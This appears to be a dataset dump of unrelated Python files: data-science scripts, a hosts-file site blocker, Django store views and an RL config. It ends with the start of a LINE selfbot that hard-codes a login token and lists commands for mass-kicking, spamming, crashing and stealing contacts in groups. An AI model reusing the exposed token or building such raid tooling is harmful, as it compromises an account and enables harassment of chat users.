text stringlengths 38 1.54M |
|---|
import csv
import argparse
from os.path import join
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--data-dir', default='data_dir/testing')
args = parser.parse_args()
prediction_files = [
'7-bert-large-cased.csv',
'11-roberta-base.csv',
'12-roberta-large.csv',
'13-albert-xxlarge-v2.csv',
'13-albert-xxlarge-v2.csv'
]
predictions = dict()
for prediction_file in prediction_files:
with open(join(args.data_dir, prediction_file), 'r') as file:
reader = csv.reader(file)
for row in reader:
if row[0] in predictions:
predictions[row[0]] += int(row[1])
else:
predictions[row[0]] = int(row[1])
with open(join(args.data_dir, 'ensemble.csv'), 'w') as file:
writer = csv.writer(file)
for prediction in predictions:
if predictions[prediction] >= len(prediction_files) - predictions[prediction]:
writer.writerow([prediction, 1])
else:
writer.writerow([prediction, 0])
|
import os
import numpy as np
def ListFilesToTxt (dir, file, wildcard, recursion):
exts = wildcard.split (" ")
files = os.listdir (dir)
for name in files:
fullname = os.path.join (dir, name)
if (os.path.isdir (fullname) & recursion):
ListFilesToTxt (fullname, file, wildcard, recursion)
else:
for ext in exts:
if (name.endswith (ext)):
for i in name[:4]:
file.write(i + '\n')
break
def Test ():
dir = "/Users/apple/PycharmProjects/keras/image/data/images" # 文件路径
outfile = "/Users/apple/Desktop/未命名文件夹/binaries.txt" # 写入的txt文件名
wildcard = ".jpg .png" # 要读取的文件类型;
file = open (outfile, "w")
if not file:
print ("cannot open the file %s for writing" % outfile)
ListFilesToTxt (dir, file, wildcard, 1)
file.close ()
Test ()
|
'''
def copie(tab):
copie_tab = tab
return copie_tab
print(copie([1, 2, 3]))'''
def copie(tab):
copie_tab=[0]*len(tab)
for i in range(len(tab)):
copie_tab[i]=tab[i] |
import time
from datetime import datetime as dt
import os
path = os.path.realpath(__file__)[:-7]
file = open('{}setup.txt'.format(path), 'r')
file_ar = file.readlines()
length = int(file_ar[0])
time1 = int(file_ar[1])
time2 = int(file_ar[2])
print(length)
print(time1)
print(time2)
website_list = []
for i in range(0,length):
website_list.append(file_ar[i+3])
print(website_list[i])
hosts_path = "/etc/hosts"
redirect = "194.30.242.10"
while True:
if dt(dt.now().year, dt.now().month, dt.now().day,16) < dt.now() < dt(dt.now().year, dt.now().month, dt.now().day,22):
with open(hosts_path, "r+") as file:
content = file .read()
for website in website_list:
if website in content:
pass
else:
file.write("\n" + redirect + " " + website)
else:
with open(hosts_path, 'r+') as file:
content = file.readlines()
file.seek(0)
for line in content:
if not any(website in line for website in website_list):
file.write(line)
file.truncate()
time.sleep(10)
|
input_numero = int(input("¿Que numero quieres introducir en la tabla? "))
numeros = []
for numero in range(1, 11):
numeros.append(numero)
revnumeros = reversed(numeros)
for num in revnumeros:
print("{} x {} = {}".format(input_numero, num, input_numero * num)) |
from django.urls import path
from order.views import *
app_name ='order'
urlpatterns =[
path('generate', generate_order,name='generate'),
path('commit', order_commit,name='commit'),
path('pay', order_pay,name='pay'),
path('check', check_order, name='check'),
path('comment', order_comment, name='comment'),
]
|
import os
import sys
from deepdrive_zero.experiments import utils
from spinup.utils.run_utils import ExperimentGrid
from spinup import ppo_pytorch
import torch
experiment_name = os.path.basename(__file__)[:-3]
notes = """Try boost_explore 0.6 to get back to normal start entropy of 0.9"""
results = 'Entropy decreased desired amount but did not improve performance. ' \
'Perhaps too deep into wrong yield policy space.'
env_config = dict(
env_name='deepdrive-2d-intersection-w-gs-allow-decel-v0',
is_intersection_map=True,
expect_normalized_action_deltas=False,
jerk_penalty_coeff=0.20 / (60*100),
gforce_penalty_coeff=0.06,
collision_penalty_coeff=4,
gforce_threshold=None,
incent_win=True,
constrain_controls=False,
incent_yield_to_oncoming_traffic=True,
)
net_config = dict(
hidden_units=(256, 256),
activation=torch.nn.Tanh
)
eg = ExperimentGrid(name=experiment_name)
eg.add('env_name', env_config['env_name'], '', False)
# eg.add('seed', 0)
eg.add('resume', '/home/c2/src/tmp/spinningup/data/intersection_2_agents_fine_tune_add_left_yield3/intersection_2_agents_fine_tune_add_left_yield3_s0_2020_03-24_12-04.34')
eg.add('reinitialize_optimizer_on_resume', True)
eg.add('num_inputs_to_add', 0)
eg.add('pi_lr', 3e-6)
eg.add('vf_lr', 1e-5)
eg.add('boost_explore', 0.6) # We boosted this too much previously
eg.add('epochs', 8000)
eg.add('steps_per_epoch', 32000)
eg.add('ac_kwargs:hidden_sizes', net_config['hidden_units'], 'hid')
eg.add('ac_kwargs:activation', net_config['activation'], '')
eg.add('notes', notes, '')
eg.add('run_filename', os.path.realpath(__file__), '')
eg.add('env_config', env_config, '')
def train():
eg.run(ppo_pytorch)
if __name__ == '__main__':
utils.run(train_fn=train, env_config=env_config, net_config=net_config) |
# -*- coding: utf-8 -*-
"""
Created on Tue Nov 13 17:48:47 2018
@author: Gebruiker
"""
import csv
import matplotlib.pyplot as plt
import numpy as np
from copy import deepcopy
truearea = 1.50659
def makePlots(alist, rangelist, area,typeof):
islist = []
arealist = []
ilist = [3000,3500,4000,4500,5000,5500]
variancelist = []
for i in ilist:
ys = []
yerror = []
for s in rangelist:
y = 0
error = 0
n = 0
for row in alist:
if int(row[1]) == i and int(row[3]) == s:
y += int(row[4])
n += 1
y = float(y) / (n*s) * area
ys.append(y)
for row in alist:
if int(row[1]) == i and int(row[3]) == s:
error += (float(row[4]) / (s) * area - y) ** 2
error = (error / n) ** 0.5
yerror.append(error)
arealist.append(deepcopy(ys))
for p in range(len(ys)):
ys[p] = abs(ys[p] - truearea)
islist.append(ys)
variancelist.append(yerror)
plt.figure()
plt.errorbar(rangelist,ys,yerr = yerror,fmt='o')
plt.xlabel("samples")
plt.ylabel("area")
plt.title("The area as a function of the number of samples using %s sampling with %i iterations."%(typeof,i))
newlist = []
newarealist = []
for i in range(len(islist),0,-1):
newlist.append(islist[i-1])
newarealist.append(arealist[i-1])
fig, ax = plt.subplots(figsize=(7,6))
im = ax.imshow(newlist)#,extent=[rangelist[0],rangelist[len(rangelist)-1],ilist[0],ilist[len(ilist)-1]])
# We want to show all ticks...
ax.set_xticks(np.arange(len(rangelist)))
ax.set_yticks(np.arange(len(ilist)))
# ... and label them with the respective list entries
ax.set_xticklabels(rangelist)
ax.set_yticklabels(reversed(ilist))
for i in range(len(ilist)):
for j in range(len(rangelist)):
ax.text(j, i, "%.5f"%(newarealist[i][j]),
ha="center", va="center", color="w")
plt.title("The absolute difference between the outcome of \nthe simulation and the literature \nvalue using %s sampling."%(typeof))
plt.xlabel("samples")
plt.ylabel("iterations")
fig.colorbar(im, orientation = 'vertical', label = "Absolute difference in area")
# Rotate the tick labels and set their alignment.
plt.setp(ax.get_xticklabels(), rotation=45, ha="right",
rotation_mode="anchor")
plt.show()
fig, ax = plt.subplots(figsize=(7,6))
im = ax.imshow(variancelist)
# We want to show all ticks...
ax.set_xticks(np.arange(len(rangelist)))
ax.set_yticks(np.arange(len(ilist)))
# ... and label them with the respective list entries
ax.set_xticklabels(rangelist)
ax.set_yticklabels(reversed(ilist))
for i in range(len(ilist)):
for j in range(len(rangelist)):
ax.text(j, i, "%.5f"%(variancelist[i][j]),
ha="center", va="center", color="w")
plt.title("The variance in all point of the \nsimulation using %s sampling."%(typeof))
plt.xlabel("samples")
plt.ylabel("iterations")
fig.colorbar(im, orientation = 'vertical', label = "Variance")
# Rotate the tick labels and set their alignment.
plt.setp(ax.get_xticklabels(), rotation=45, ha="right",
rotation_mode="anchor")
plt.show()
return variancelist
def nonantithetic():
# The path length distribution is taken from the file
randoms = []
randoms2 = []
hypers = []
orthogonals = []
randomlist = [100,500,1000,5000,10000,20000,30000]
hyperlist = [100,500,1000,5000,10000]
area1 = 9
area2 = 8.3765
with open("data/resultsnotantithetic.csv", 'r') as csvfile:
reader = csv.reader(csvfile, delimiter=',', quotechar='"')
for row in reader:
if row[0] == "random":
randoms.append(row)
if row[0] == "random2":
randoms2.append(row)
if int(row[3]) == 100 or int(row[3]) == 500:
randoms.append(row)
if row[0] == "hypercube":
hypers.append(row)
if row[0] == "orthogonal":
orthogonals.append(row)
var1 = makePlots(randoms,randomlist,area2,"random")
var2 = makePlots(randoms2,hyperlist,area2,"random")
var3 = makePlots(hypers,hyperlist,area1,"latin hypercube")
var4 = makePlots(orthogonals,hyperlist,area1,"orthogonal")
somelist = [var1,var3,var4]
ilist = [3000,3500,4000,4500,5000,5500]
sampleslist = []
for var in range(len(somelist)):
sampleslist.append([])
for j in range(len(ilist)):
sampleslist[var].append(somelist[var][j][0])
variancePlot([var1[len(var1)-1],var3[len(var3)-1],var4[len(var4)-1]],hyperlist,randomlist,"samples","i",5500)
variancePlot(sampleslist,ilist,ilist,"iterations","s",100)
def makeAntiPlots(alist, blist, rangelist, area,typeof):
islist = []
arealist = []
ilist = [3000,3500,4000,4500,5000,5500]
variancelist = []
for i in ilist:
gem = []
variance = []
for s in rangelist:
x = 0
y = 0
cov = 0
xerror = 0
yerror = 0
n = 0
for m in range(len(alist)):
if int(alist[m][1]) == i and int(alist[m][3]) == s:
x += int(alist[m][4])
y += int(blist[m][4])
cov += float(alist[m][4]) / s *area * float(blist[m][4]) / s * area
n += 1
x = float(x) / (n*s) * area
y = float(y) / (n*s) * area
gem.append((x+y)/2)
cov = cov / n - x*y
for m in range(len(alist)):
if int(alist[m][1]) == i and int(alist[m][3]) == s:
xerror += (float(alist[m][4]) / (s) * area - y) ** 2
yerror += (float(blist[m][4]) / (s) * area - y) ** 2
xerror = (xerror / n) ** 0.5
yerror = (yerror / n) ** 0.5
var = (xerror + yerror + 2 * cov) / 4.
variance.append(var)
arealist.append(deepcopy(gem))
#print(arealist)
for p in range(len(gem)):
gem[p] = abs(gem[p] - truearea)
#print(arealist)
islist.append(gem)
variancelist.append(variance)
plt.figure()
plt.errorbar(rangelist,gem,yerr = variance,fmt='o')
plt.xlabel("samples")
plt.ylabel("area")
plt.title("The area as a function of the number of samples using %s sampling with %i iterations."%(typeof,i))
newlist = []
newarealist = []
for i in range(len(islist),0,-1):
newlist.append(islist[i-1])
newarealist.append(arealist[i-1])
#print(newarealist)
fig, ax = plt.subplots(figsize=(7,6))
im = ax.imshow(newlist)#,extent=[rangelist[0],rangelist[len(rangelist)-1],ilist[0],ilist[len(ilist)-1]])
# We want to show all ticks...
ax.set_xticks(np.arange(len(rangelist)))
ax.set_yticks(np.arange(len(ilist)))
# ... and label them with the respective list entries
ax.set_xticklabels(rangelist)
ax.set_yticklabels(reversed(ilist))
for i in range(len(ilist)):
for j in range(len(rangelist)):
ax.text(j, i, "%.5f"%(newarealist[i][j]),
ha="center", va="center", color="w")
plt.title("The absolute difference between the outcome of the simulation \nand the literature value using %s sampling."%(typeof))
plt.xlabel("samples")
plt.ylabel("iterations")
fig.colorbar(im, orientation = 'vertical', label = "Absolute difference in area")
# Rotate the tick labels and set their alignment.
plt.setp(ax.get_xticklabels(), rotation=45, ha="right",
rotation_mode="anchor")
plt.show()
fig, ax = plt.subplots(figsize=(7,6))
im = ax.imshow(variancelist)
# We want to show all ticks...
ax.set_xticks(np.arange(len(rangelist)))
ax.set_yticks(np.arange(len(ilist)))
# ... and label them with the respective list entries
ax.set_xticklabels(rangelist)
ax.set_yticklabels(reversed(ilist))
for i in range(len(ilist)):
for j in range(len(rangelist)):
ax.text(j, i, "%.5f"%(variancelist[i][j]),
ha="center", va="center", color="w")
plt.title("The variance in all point of the\n simulation using %s sampling."%(typeof))
plt.xlabel("samples")
plt.ylabel("iterations")
fig.colorbar(im, orientation = 'vertical', label = "Variance")
# Rotate the tick labels and set their alignment.
plt.setp(ax.get_xticklabels(), rotation=45, ha="right",
rotation_mode="anchor")
plt.show()
return variancelist
def antithetic():
# The path length distribution is taken from the file
randoms1 = []
randoms2 = []
randoms3 = []
randoms4 = []
hypers1 = []
hypers2 = []
orthogonals1 = []
orthogonals2 = []
randomlist = [100,500,1000,5000,10000,20000,30000]
hyperlist = [100,500,1000,5000,10000]
area1 = 9
area2 = 7.753
with open("data/resultsantithetic.csv", 'r') as csvfile:
reader = csv.reader(csvfile, delimiter=',', quotechar='"')
for row in reader:
if row[0] == "random1":
randoms1.append(row)
if row[0] == "random2":
randoms2.append(row)
if int(row[3]) == 100 or int(row[3]) ==500:
randoms1.append(row)
if row[0] == "random3":
randoms3.append(row)
if row[0] == "random4":
randoms4.append(row)
if int(row[3]) == 100 or int(row[3]) ==500:
randoms3.append(row)
if row[0] == "hypercube1":
hypers1.append(row)
if row[0] == "hypercube2":
hypers2.append(row)
if row[0] == "orthoginal1":
orthogonals1.append(row)
if row[0] == "orthoginal2":
orthogonals2.append(row)
var1 = makeAntiPlots(randoms1,randoms3,randomlist,area2,"random")
var2 = makeAntiPlots(randoms2,randoms4,hyperlist,area2,"random")
var3 = makeAntiPlots(hypers1,hypers2,hyperlist,area1,"latin hypercube")
var4 = makeAntiPlots(orthogonals1,orthogonals2,hyperlist,area1,"orthogonal")
somelist = [var1,var3,var4]
ilist = [3000,3500,4000,4500,5000,5500]
sampleslist = []
for var in range(len(somelist)):
sampleslist.append([])
for j in range(len(ilist)):
sampleslist[var].append(somelist[var][j][0])
print(sampleslist)
variancePlot([var1[len(var1)-1],var3[len(var3)-1],var4[len(var4)-1]],hyperlist,randomlist,"samples","i",5500)
variancePlot(sampleslist,ilist,ilist,"iterations","s",100)
def variancePlot(variances,x,x2,typeof,othertype,parameter):
plt.figure()
for variance in variances:
if len(variance) == 5:
plt.plot(x,variance)
else:
plt.plot(x2,variance)
plt.title("The variance as function of %s at %s=%i"%(typeof,othertype,parameter))
plt.ylabel("Variance")
plt.xlabel("%s"%typeof)
plt.legend(["random","latin hypercube","orthogonal"])
plt.show()
def merge():
thelist = []
with open("data/resultsnightloop_jordanrandom.csv", 'r') as csvfile:
reader = csv.reader(csvfile, delimiter=',', quotechar='"')
for row in reader:
if row[2] == row[3]:
if row[0] == "random2":
row[0] = "random3"
thelist.append(row)
if len(thelist) == 3000:
break
with open("data/resultsnightloop_jordanrandom2.csv", 'r') as csvfile:
reader = csv.reader(csvfile, delimiter=',', quotechar='"')
for row in reader:
if row[2] == row[3]:
if row[0] == "random1":
row[0] = "random2"
elif row[0] == "random2":
row[0] = "random4"
thelist.append(row)
if len(thelist) == 6000:
break
with open("data/resultsnightloop_jordanhyper.csv", 'r') as csvfile:
reader = csv.reader(csvfile, delimiter=',', quotechar='"')
for row in reader:
if row[2] == row[3]:
thelist.append(row)
if len(thelist) == 9000:
break
with open("data/resultsnightloop_jordanorth.csv", 'r') as csvfile:
reader = csv.reader(csvfile, delimiter=',', quotechar='"')
for row in reader:
if row[2] == row[3]:
thelist.append(row)
if len(thelist) == 12000:
break
with open("data/resultsantithetic.csv", 'a', newline = '') as csvfile:
writer = csv.writer(csvfile, delimiter=',', quotechar='"')
for row in thelist:
writer.writerow(row)
#nonantithetic()
#antithetic()
merge()
|
from django.conf.urls import patterns, include, url
from rest_framework_mongoengine import routers
from amspApp.Bpms.views import LunchedProcessView
router = routers.SimpleRouter()
router.register(r'LunchedProcess', LunchedProcessView.LunchedProcessViewSet,base_name='LunchedProcess')
urlpatterns = patterns(
'',
# ... URLs
url(r'^api/v1/', include(router.urls)),
url(r'^page/process/inbox', LunchedProcessView.LunchedProcessViewSet.as_view({'get': 'template_view_inbox'}), name='template_vieew_inbox'),
url(r'^page/process/myProcess', LunchedProcessView.LunchedProcessViewSet.as_view({'get': 'template_view_my_process'}), name='template_view_mey_process'),
url(r'^page/process/myDoneProcess', LunchedProcessView.LunchedProcessViewSet.as_view({'get': 'template_view_my_done_process'}), name='template_view_mey_done_process'),
url(r'^page/process/do', LunchedProcessView.LunchedProcessViewSet.as_view({'get': 'template_view_do_process'}), name='template_view_do_process'),
# url(r'^api/v1/buildForm/', BpmnModelerView.BpmnViewSet.as_view({'get': 'build_form'}), name='BpmnModelerViewBuildForm'),
)
|
from django.contrib.auth import authenticate,login,logout
from django.core.urlresolvers import reverse
from django.contrib.auth.decorators import login_required
from django.http import HttpResponseRedirect, HttpResponse
from django.shortcuts import render
from store.forms import UserForm,CustomerForm
from store.models import *
import apriori
import random
PRDS = []
# Create your views here.
def index(request):
return render(request, 'home.html')
def register(request):
registered = False
if request.method == 'POST':
user_form = UserForm(data=request.POST)
customer_form = CustomerForm(data=request.POST)
if user_form.is_valid() and customer_form.is_valid() and user_form.cleaned_data['password'] == customer_form.cleaned_data['confirm_password'] and customer_form.cleaned_data['age'] > 0:
user = user_form.save()
user.set_password(user.password)
user.save()
customer = customer_form.save(commit=False)
customer.confirm_password = ''
customer.user = user
customer.save()
cart = Cart()
cart.cart_Customer_id = customer.id
cart.save()
registered = True
else:
if customer_form.cleaned_data['age'] == 0:
customer_form.add_error('confirm_password', "Age is incorrect.")
else:
customer_form.add_error('confirm_password',"Passwords do not match")
else:
user_form = UserForm()
customer_form = CustomerForm()
return render(request,'signup.html',{'user_form':user_form,'customer_form':customer_form,'registered':registered})
def user_login(request):
if request.method == 'POST':
username = request.POST.get('username')
password = request.POST.get('password')
user = authenticate(username=username,password=password)
if user:
if user.is_active:
login(request,user)
return HttpResponseRedirect(reverse('index'))
else:
return HttpResponse("Account Not Active")
else:
return HttpResponse("Invalid login details")
else:
return render(request, 'login.html',{})
def categoryList(request):
cat = Category.objects.all()
return render(request,'categoryList.html',{'categoryList': cat})
def subCategoryList(request,catid):
subcat = SubCategory.objects.all()
subcat = subcat.filter(category=catid)
return render(request,'subCategoryList.html',{'subcategoryList': subcat})
def subCategory(request,subcatid):
prodct = Product.objects.all()
prodct = prodct.filter(product_SubCategory=subcatid)
return render(request,'subcategory.html',{'productList': prodct})
def product(request,productid):
recItems = []
rhs = apriori.finalRhs
lhs = apriori.finalLhs
allProducts = Product.objects.all()
p = Product.objects.all()
s = SubCategory.objects.all()
p = list(p.filter(product_Id=productid))
for i in range(0,lhs.__len__()):
if p[0].product_SubCategory.subcategory_Name == lhs[i]:
for j in range(0,rhs[i].__len__()):
recItems.append(random.sample(list(allProducts.filter(product_SubCategory__subcategory_Name=rhs[i][j])),2))
recItems = [item for sublist in recItems for item in sublist]
return render(request,'productPage.html',{'product':p, 'recItems':recItems})
def addToCart(request,productid,username):
p = Product.objects.all()
p = list(p.filter(product_Id=productid))
c = Cart.objects.all()
c = list(c.filter(cart_Customer__user__username=username))
c[0].cart_Products.add(p[0])
return HttpResponse(status=204)
def deleteFromCart(request,productid,username):
p = Product.objects.all()
p = list(p.filter(product_Id=productid))
c = Cart.objects.all()
c = list(c.filter(cart_Customer__user__username=username))
c[0].cart_Products.remove(p[0])
return HttpResponseRedirect(reverse('shoppingcart',kwargs={'username':username}))
def shoppingcart(request,username):
c = Cart.objects.all()
c = list(c.filter(cart_Customer__user__username=username))
c=c[0]
return render(request,'cart.html',{'cart':c})
def aboutus(request):
return render(request,'aboutus.html')
def contactus(request):
return render(request,'contactus.html')
def orders(request,username):
l = []
oo = Order.objects.all()
oo = list(oo.filter(order_Customer__user__username=username))
o = OrderProducts.objects.all()
o = o.filter(order__order_Customer__user__username=username)
for i in oo:
l.append(list(o.filter(order_id=i.order_Id)))
print(l[0][0].product.product_Name)
return render(request, 'orderPage.html',{'products':l,'orders':oo})
def deliveryInfo(request,cartid):
c = Cart.objects.all()
c = list(c.filter(id=cartid))
c = c[0]
c = c.cart_Products.all()
data = request.POST
convertedData = dict(data)
quantity = convertedData['quantity']
toKeep = []
finalCart= []
ids=[]
total = 0
for i in range(0,len(quantity)):
if int(quantity[i]) != 0:
toKeep.append(quantity[i])
finalCart.append(c[i])
ids.append(c[i].product_Id)
total += (c[i].product_Price * int(quantity[i]))
if len(finalCart):
request.session['aaa']=ids
global PRDS
PRDS = finalCart
else:
return HttpResponse(status=204)
toKeep.reverse()
return render(request, 'checkout.html', {'products': finalCart, 'quantity':toKeep,'total':total,'cartId':cartid})
def confirmOrder(request,cartid):
ids=request.session.get('aaa')
print(ids)
c = Cart.objects.all()
order = Order()
c = list(c.filter(id=cartid))
c = c[0]
order.order_Customer = c.cart_Customer
data=request.POST
total = request.POST.get('total')
address1 = request.POST.get('address1')
address2 = request.POST.get('address2')
city = request.POST.get('city')
state = request.POST.get('state')
zipcode = request.POST.get('zipcode')
convertedData = dict(data)
tempQuantity = convertedData['quantity']
print(total)
order.order_Total = total
c.cart_Customer.address = address1
c.cart_Customer.address2 = address2
c.cart_Customer.city = city
c.cart_Customer.state = state
c.cart_Customer.zipcode = zipcode
c.cart_Customer.save()
c.cart_Products.clear()
print(tempQuantity)
quantity = []
for i in range(0,len(tempQuantity)):
quantity.append(tempQuantity[i])
global PRDS
products = PRDS
print(quantity[0])
order.save()
p = Product.objects.all()
products = []
for z in range(0,ids.__len__()):
products.append(p.filter(product_Id=ids[z]))
for j in range(0,products.__len__()):
orderproducts = OrderProducts()
orderproducts.product = products[j][0]
orderproducts.quantity = quantity[0][j]
orderproducts.order = order
orderproducts.save()
PRDS = []
print(PRDS)
return HttpResponse(status=204)
@login_required
def user_logout(request):
logout(request)
return HttpResponseRedirect(reverse('index')) |
CMD1 = """
SELECT S_CON_WINDCODE, I_WEIGHT
FROM AIndexHS300Weight
WHERE TRADE_DT = '{date}'
"""
CMD2 = """
SELECT S_CON_WINDCODE, WEIGHT
FROM AIndexCSI500Weight
WHERE TRADE_DT = '{date}'
"""
|
import matplotlib
matplotlib.use('Agg')
from matplotlib import rc
from brian import *
rc('font',**{'family':'sans-serif','sans-serif':['Helvetica']})
rc('text', usetex=True) # use latex
'''
Plot CV vs freq est error and histogram
'''
filename = 'lotsofdata.npz'
archive = np.load(filename)
CV = archive['CV']
freq_est = archive['freq_est']
freq_actual = archive['freq_actual']
ferr = abs(freq_est-freq_actual)/freq_actual
figure(num=1, figsize=(8, 12), dpi=100)
clf()
subplot(2,1,1)
scatter(CV, ferr, c='k')
ylabel(r'$ \varepsilon_f $', size=15)
yticks(size=15)
axis([0, 2.5, -0.1, 10])
errcv = CV[ferr > 0]
subplot(2,1,2)
hist(errcv, bins=10, normed=True, color='gray')
xlabel(r'CV', size=15)
axis([0, 2.5, 0, 10])
savefig('brain_research_figures/CV_freq_est_err.png')
savefig('brain_research_figures/CV_freq_est_err.pdf')
print "Figure saved!"
|
# -*- coding: utf-8 -*-
import LINETCR
from LINETCR.lib.curve.ttypes import *
from datetime import datetime
from gtts import gTTS
from bs4 import BeautifulSoup
import time,random,sys,re,goslate,requests,urllib,os,json,subprocess,codecs,threading,glob,wikipedia
cl = LINETCR.LINE()
#cl.login(qr=True)
cl.login(token="Ep1q9OvUF2SMHbCez2s8.+hT72C/sNWhx0CFc83gtAa.mhFBlJK2/a6ZqDmKlfuFL2X06bCrZz8mlUsVbDXGspI=")
cl.loginResult()
reload(sys)
sys.setdefaultencoding('utf-8')
helpMessage =""" ⚠彡 T⃟E⃟A⃟M⃟ L⃟O⃟N⃟G⃟O⃟R⃟ 彡⚠
╔═══════════════════
╠ ✍️MODIFIER✍️
╠❂͜͡➣ All:[text]
╠❂͜͡➣ Allbio:[text]
╠❂͜͡➣ Comment:[text]
╠❂͜͡➣ Message:[text]
╠❂͜͡➣ Group name:[text]
╚═══════════════════
╔═══════════════════
╠ ✍️PROMOTE/DEMOTE✍️
╠❂͜͡➣ Admin on @[name]
╠❂͜͡➣ Expel on @[name]
╠❂͜͡➣ Expelall
╚═══════════════════
╔═══════════════════
╠ ✍️STEALING✍️
╠❂͜͡➣ Steal name @[name]
╠❂͜͡➣ Steal contact @[name]
╠❂͜͡➣ Ava cover @[name]
╠❂͜͡➣ Ava @[name]
╠❂͜͡➣ Ava group
╠❂͜͡➣ Midpict:[mid]
╠❂͜͡➣ Copy @[name]
╠❂͜͡➣ Mybackup
╚═══════════════════
╔═══════════════════
╠ ✍️GUARD MODE✍️
╠❂͜͡➣ Protect:low
╠❂͜͡➣ Protect:hight
╚═══════════════════
╔═══════════════════
╠ ✍️MARK TO LIST✍️
╠❂͜͡➣ Ban @[name]
╠❂͜͡➣ Unban @[name]
╠❂͜͡➣ Ban group:
╠❂͜͡➣ Del ban:
╠❂͜͡➣ List ban group
╠❂͜͡➣ Banned[send contact]
╠❂͜͡➣ Unbanned[send contact]
╠❂͜͡➣ Ban repeat @[name]
╠❂͜͡➣ Blacklist all
╠❂͜͡➣ Ban cek
╠❂͜͡➣ Clear banl
╠❂͜͡➣ Mimic target @[name]
╠❂͜͡➣ Mimic untarget @[name]
╠❂͜͡➣ Add friend @[name]
╠❂͜͡➣ Target @[name]
╠❂͜͡➣ Del target @[name]
╠❂͜͡➣ Target list
╚═══════════════════
╔═══════════════════
╠ ✍️INVITATION✍️
╠❂͜͡➣ Invite:[mid]
╠❂͜͡➣ Invite user[contact]
╠❂͜͡➣ Invite me
╠❂͜͡➣ Join all
╠❂͜͡➣ Join group
╚═══════════════════
╔═══════════════════
╠ ✍️LEAVE GROUP✍️
╠❂͜͡➣ All out
╠❂͜͡➣ Center @bye
╠❂͜͡➣ Bye allgroups[own]
╠❂͜͡➣ Leave group:
╚═══════════════════
╔═══════════════════
╠ ✍️BOT AUTO SETTINGS✍️
╠❂͜͡➣ Auto join:on/off
╠❂͜͡➣ Auto leave:on/off
╠❂͜͡➣ Auto like:on/off
╠❂͜͡➣ Welcome message:on/off
╠❂͜͡➣ Auto notice:on/off
╠❂͜͡➣ Blockinvite:on/off
╠❂͜͡➣ Auto blockqr:on/off
╠❂͜͡➣ Namelock:on/off
╠❂͜͡➣ Mimic:on/off
╠❂͜͡➣ Auto add:on/off
╠❂͜͡➣ Check message
╠❂͜͡➣ Add message:[text]
╠❂͜͡➣ Comment:on/off
╠❂͜͡➣ Add comment:[text]
╠❂͜͡➣ Check comment
╠❂͜͡➣ Backup:on/off
╠❂͜͡➣ Gcancel:[number]
╠❂͜͡➣ Update welcome:[text]
╠❂͜͡➣ Check welcome message
╚═══════════════════
╔═══════════════════
╠ ✍️CANCEL MODE✍️
╠❂͜͡➣ Rejectall
╠❂͜͡➣ Clean invites
╠❂͜͡➣ Clear invites
╚═══════════════════
╔═══════════════════
╠ ✍️SUPRISE GIFT✍️
╠❂͜͡➣ gift1-15
╠❂͜͡➣ Spam gift
╚═══════════════════
╔═══════════════════
╠ ✍️NOTIFICATION LIST✍️
╠❂͜͡➣ Group list
╠❂͜͡➣ Banlist
╠❂͜͡➣ Admin list
╠❂͜͡➣ Settings
╠❂͜͡➣ Ginfo
╠❂͜͡➣ TL:[text]
╠❂͜͡➣ Mimic list
╠❂͜͡➣ Details grup:
╠❂͜͡➣ Crash
╠❂͜͡➣ Add all
╚═══════════════════
╔═══════════════════
╠★ KICKER MODE ★
╠❂͜͡➣ Cleanse
╠❂͜͡➣ Vkick @
╠❂͜͡➣ Nk [name]
╠❂͜͡➣ Kick:[mid]
╠❂͜͡➣ Purge
╠❂͜͡➣ Ulti
╠❂͜͡➣ Recover
╚═══════════════════
╔═══════════════════
╠ ✍️CHAT RELATED✍️
╠❂͜͡➣ Spamg[on/off][no][txt]
╠❂͜͡➣ Spam add:[text]
╠❂͜͡➣ Spam change:[text]
╠❂͜͡➣ Spam start:[number]
╠❂͜͡➣ Say [text]
╠❂͜͡➣ Me
╠❂͜͡➣ Speed
╠❂͜͡➣ Debug speed
╠❂͜͡➣ My mid
╠❂͜͡➣ Gcreator
╠❂͜͡➣ Halo
╠❂͜͡➣ Bot contact
╠❂͜͡➣ Bot mid
╠❂͜͡➣ Creator
╠❂͜͡➣ System
╠❂͜͡➣ Iconfig
╠❂͜͡➣ Kernel
╠❂͜͡➣ Cpu
╠❂͜͡➣ Responsename
╠❂͜͡➣ Help
╠❂͜͡➣ Mc:[mid]
╚═══════════════════
╔═══════════════════
╠ ✍️UTILITY✍️
╠❂͜͡➣ Lurk
╠❂͜͡➣ View
╠❂͜͡➣ Setlastpoint
╠❂͜͡➣ Viewlastseen
╠❂͜͡➣ Link open
╠❂͜͡➣ Link close
╠❂͜͡➣ Gurl
╠❂͜͡➣ Remove chat
╠❂͜͡➣ Bot restart
╚═══════════════════
╔═══════════════════
╠ ✍️CHAT RELATED✍️
╠❂͜͡➣ Lyric [][]
╠❂͜͡➣ Music [][]
╠❂͜͡➣ Wiki [text]
╠❂͜͡➣ Vidio [text]
╠❂͜͡➣ Youtube [text]
╠❂͜͡➣ Instagram [text]
╠❂͜͡➣ .fb
╠❂͜͡➣ .google
╠❂͜͡➣ Translate-idn [text]
╠❂͜͡➣ Translate-eng [text]
╠❂͜͡➣ Translate-thai [text]
╠❂͜͡➣ Translate-japan [text]
╠❂͜͡➣ Emoji [expression]
╠❂͜͡➣ Info @[name]
╠❂͜͡➣ Ping
╠❂͜͡➣ Time
╠❂͜͡➣ apakah
╠❂͜͡➣ Sticker [expression]
╠❂͜͡➣ Mention all
╠❂͜͡➣ /say
╠❂͜͡➣ /say-en
╠❂͜͡➣ /say-jp
╠❂͜͡➣ Dosa @
╠❂͜͡➣ /
╠❂͜͡➣ Siapa
╚═══════════════════
╔═══════════════════
╠ ✍️BROADCASTING✍️
╠❂͜͡➣ Pm cast [text]
╠❂͜͡➣ Broadcast [text]
╠❂͜͡➣ Spam @[name]
╚═══════════════════
╔═══════════════════
╠ ✍️special command✍️
╠❂͜͡➣ Turn off bots
╚═══════════════════
⚠彡 T⃟E⃟A⃟M⃟ L⃟O⃟N⃟G⃟O⃟R⃟ 彡⚠
"""
KAC=[cl]
mid = cl.getProfile().mid
Bots=[mid]
admin= ["ufc7b7bd9cf929f01d7d1c7c2f3719368"]
staff=[]
whitelist=[]
wait = {
'contact':False,
'autoJoin':True,
'autoCancel':{"on":True, "members":1},
'leaveRoom':False,
'timeline':True,
'autoAdd':False,
'message':"Thanks for add Me",
"lang":"JP",
"comment":"AutoLike by HendrahAry",
"welmsg":"welcome to group",
"commentOn":True,
"commentBlack":{},
"wblack":False,
"dblack":False,
"clock":False,
"status":False,
